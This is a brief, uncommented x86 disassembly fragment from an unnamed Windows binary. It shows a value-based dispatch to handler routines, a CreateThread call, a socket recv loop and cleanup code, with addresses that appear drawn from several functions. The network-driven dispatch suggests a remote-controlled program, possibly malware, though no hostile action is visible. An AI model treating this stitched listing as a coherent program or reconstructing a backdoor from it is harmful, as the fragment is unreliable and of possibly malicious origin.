mov eax, dword [ebp - 0x82c]
push eax
lea eax, [ebp - 0x830]
mov ecx, 0x4095d4
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x830]
pop eax
call fcn.00404190
jne 0x408ec0
cmp dword [ebx + 0x1e4], 0
je 0x408ec0
mov eax, dword [ebx + 0x1e4]
call fcn.00406dcc
dec eax
je 0x408e79
dec eax
je 0x408e8d
dec eax
je 0x408ea1
jmp 0x408ec0
cmp dword [0x40c7b4], 0
jne 0x408ec0
mov ax, 0x190
call fcn.0040a4c4
jmp 0x408ec0
cmp dword [0x40c7d8], 0
jne 0x408ec0
mov ax, 0x190
call fcn.004073bc
jmp 0x408ec0
cmp dword [0x40c7e8], 0
jne 0x408ec0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0x407898
push 0
push 0
call sub.kernel32.dll_CreateThread_1
push 0
push 0x640
push esi
mov eax, dword [ebx + 0x30]
push eax
call sub.wsock32.dll_recv
test eax, eax
jg 0x407910
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408f31
lea eax, [ebp - 0x830]
mov edx, 0x63
call fcn.00403df0
lea eax, [ebp - 0x6a0]
call fcn.00403dcc
lea eax, [ebp - 0x6a4]
call fcn.00403dcc
lea eax, [ebp - 0x69c]
mov edx, 0x10
call fcn.00403df0
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00403df0
ret